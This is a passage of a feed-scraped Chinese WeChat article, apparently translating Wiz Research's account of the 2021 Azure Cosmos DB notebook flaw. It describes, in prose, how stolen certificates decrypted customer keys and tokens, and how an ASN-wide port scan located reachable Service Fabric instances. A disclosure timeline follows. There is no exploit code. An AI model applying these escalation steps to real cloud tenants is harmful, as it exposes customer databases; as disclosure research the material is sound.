monospace;word-break: break-all;color: rgb(150, 84, 181);">fabricsecrets.documents.azure.com</p>的证书解密<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">COSMOSDB_ACCOUNT_KEY_ENCRYPTED</p>来完成 。</div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2, 获取集群中运行的任何<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>实例的明文身份验证令牌，使我们能够在未经任何授权的情况下在客户的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter VM</p>上执行任意代码。这可以通过使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabricsecrets.documents.azure.com</p>证书解密<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED</p> 并访问位于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NOTEBOOK_PROXY_PATH</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter notebook</p>来完成。</div><ol start="3" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">获取客户<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>存储账户的明文密码，使我们能够访问和操纵客户私人保存的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>。这可以通过使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabricsecrets.documents.azure.com</p>的证书解密<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NOTEBOOK_STORAGE_ACCOUNT_KEY_ENCRYPTED</p>，并在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>存储资源管理器使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NOTEBOOK_STORAGE_FILE_ENDPOINT</p>中的信息来完成。</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">获取<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">*.notebook.cosmos.azure.com</p>的证书，使我们能够拦截到这些端点的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSL</p>流量。</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过访问内部<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>存储块获取有关<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>底层基础结构的元数据。</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过浏览到位于各种端点上的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric Explorer</p>并使用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabric.westus1.cosmos.azure.com</p>认证.</div></div></li></ol><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4722222222222222" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5c9030e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhicerRla2jFkD2h7Su6VeYIMexK96epAZoYOXvUwITqWxicLquDKXJoWQ%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">使用 NOTEBOOK_ STORAGE_ ACCOUNT_ KEY_ ENCRYPTED 访问客户的<p>notebook</p>存储</figcaption></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4089958158995816" data-type="other" data-w="956" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=67e5ed60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhP7hEDczwzgjo9uOBSMU68pXmXNUH1iafXiboQHb02hcFkcyDFuklepOw%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">使用 NOTEBOOK_AUTH_TOKEN_ENCRYPTED 在 Notebook VM 上执行代码</figcaption></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>从外部访问基础设施</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">之前提到了多个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>存储帐户，我们认为这些帐户包含有关<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>底层基础结构的元数据信息。在查看这些日志文件后，我们注意到其中一些包含有关公共<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabrics</p>的信息，这些信息应该可以从<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Internet</p>访问（与之前需要的 LAN 访问相比）。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">我们对 微软 的 ASN 上的端口 19080 进行了网络扫描，发现了 100 多个可通过此端口访问的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>实例。我们尝试使用之前获得的证书 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">fabric.westus1.cosmos.azure.com</p>) 连接到每一个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>，令我们惊讶的是，身份验证成功了！</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">仅使用一个证书，我们就成功地对可从 Internet 访问的多个区域的内部<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>实例进行了身份验证。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.5148148148148148" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=98d4dc4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhma5YJk0wODpuBf73iaFbcmx6mSwMMdpo4kO7TNICveoiauciafas1NOdQ%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">以及在网络扫描中发现的部分<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>实例列表：</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="1.0093457943925233" data-type="other" data-w="428" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c449e8c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhuu10nIaksRMlqKy44UsXhPDWdTZxMhhUuyDic7t8QmhcmzAWAJ30DIw%2F640%3Fwx_fmt%3Dother"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>结论</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过利用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter notebook</p>容器功能中的一系列错误配置，我们设法获得了对客户的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure Cosmos DB</p>实例的未授权访问。我们能够通过多个身份验证令牌和 API 密钥证明对数千家公司的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>实例（数据库、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>环境、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">notebook</p>存储）的访问权限，具有完全的管理员控制权。受影响的客户中不乏世界 500 强企业。我们还设法获得了对运行 Cosmos DB 的底层基础设施的访问权限，并且我们能够证明这种访问可以在易受攻击的应用程序之外通过 Internet 进行维持。总的来说，我们认为这已经接近“服务接管”了。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>披露时间表</span></h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 9 日 - Wiz 研究团队首先利用了该漏洞并获得了对 Cosmos DB 帐户的未授权访问权限。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 11 日 - Wiz 研究团队确认与 Wiz 客户有交集。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 12 日 - Wiz 研究团队向 微软 发送了咨询。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 14 日 - Wiz 研究团队观察到易受攻击的功能已被禁用。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 16 日 - 微软 安全响应中心 (MSRC) 确认报告的行为（MSRC 案例 66805）。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 16 日 - Wiz 研究团队观察到一些获得的证书已被撤销。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 17 日 - MSRC 为该报告提供了 40,000 美元的赏金。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 23 日 - MSRC 确认数千名客户受到影响。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 23 日 - MSRC 和 Wiz 研究团队讨论了公开披露策略。</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">2021 年 8 月 25 日 - 公开披露。</p></div></li></ul><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 125408</span></h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=11a18b59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhtl172kGgbhuIF6KETHLMN3yHQdYIYXka8jKJxAibCv0MKd4VhKJay8w%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=32242afd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhFDL8qicp9g7f3FRePsw5w0j5VKdp7uGv7X0Vpvr06IPvBBHSzDRLRDg%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=76055f8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhacCFt1x50aKzpg4s7zoDaOQjx9ibjGfS7z58GVVicJd0CnCLibXHvZxNA%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4d6a0753&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhCFjDj0ay70nFNOOEibcERFXBZcoEOBDr7ogqIzPic0761VA17YBaLGcw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=670c6eae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZh7J5ymmvKKkcNaOzicUc6PDbiblNulMy6LCT46ElP0FAyw933ReNOj4icg%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ed92e1fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZheO7LI2KIdBnYiaJWCckQsEibBqHsiaFARxClGiaoeber8rGZCpXIAVju2A%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=82e2afcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhWUENWxzqlric4iaGVMZyWGOQ0nnibGcmicRic8QAAMppy83QuNTyVMJwoYw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7efb5a5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhn9EwKC9xzrwiaPTO7XXkADLIa2CYStbf0s5EHdrf1BrS1PR8ibbPOB2A%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=196308e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhveeHLFM2ZD1liackbvRqZbibuibboetcG8bQBr3806KYEDHBA6QD4IU9Q%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=995ccda3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhZIZ9BXkYP7cujKMrzTGnFQvjh2bh3lcM8sgiaoYhn3tqw2t3mkNxFuw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7a20e6c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhQiaHEA6b2o41Pkl8vXlq4tQdq7ImoRF7ibodWfetZFFDY6cL4HpKOxPQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=03bb4d7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhLokWIuDvC7BiapdQuAUZEykkwB1ibwDlczrx4l75PbUp7EzaMdpVics8g%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c85a7c47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhejeVbQKlXd8DOMpuMvSbjJ0ovoB76hGOOpfXBre1ZymuZWxhGpWv2w%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=31863b03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhOcvgLR3I10ctdYVq8NUskLC6oh3KaMfYCibDplVpX57cGtAKkqCYib2w%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=830ddc48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhrqFYAE4hvicxf2aicLsPwlgWSfcgmm8Mic8YVlIV08icrQjAibEDOfASL1g%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0fb8cd9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhIIgd8KCagydOpn4TrrTc8Yd2zxHqia9szxejPRk2GycSQMhCoib776ibQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b4ce1566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhxgkdexicaqfg8e9hiaiaib1p3CBRAJkzzyiayiaY3uFPdMGMKgaFJhXVJqyQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5c9030e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhicerRla2jFkD2h7Su6VeYIMexK96epAZoYOXvUwITqWxicLquDKXJoWQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=67e5ed60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhP7hEDczwzgjo9uOBSMU68pXmXNUH1iafXiboQHb02hcFkcyDFuklepOw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=98d4dc4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhma5YJk0wODpuBf73iaFbcmx6mSwMMdpo4kO7TNICveoiauciafas1NOdQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c449e8c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhuu10nIaksRMlqKy44UsXhPDWdTZxMhhUuyDic7t8QmhcmzAWAJ30DIw%2F640%3Fwx_fmt%3Dother"/></p>



<p><a href="2247489520">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cf15152a&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489520%26idx%3D1%26sn%3D61790375c16c9eaba8c5c2cbbdf5add4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 Jun 2023 09:38:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例17：黑客如何破解数以千计的 Azure 客户的数据库</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489519&amp;idx=1&amp;sn=25dad914b094577792cb5eec994bdff8</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-31 08:04</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f7cd18c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwWGTB4ndRI6RevmCQOdtvcFkLuhtTRe1iaibI0YwC93q90S0xlFN6rZhrrwCxp8tgkibXuvWXe4jLUw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


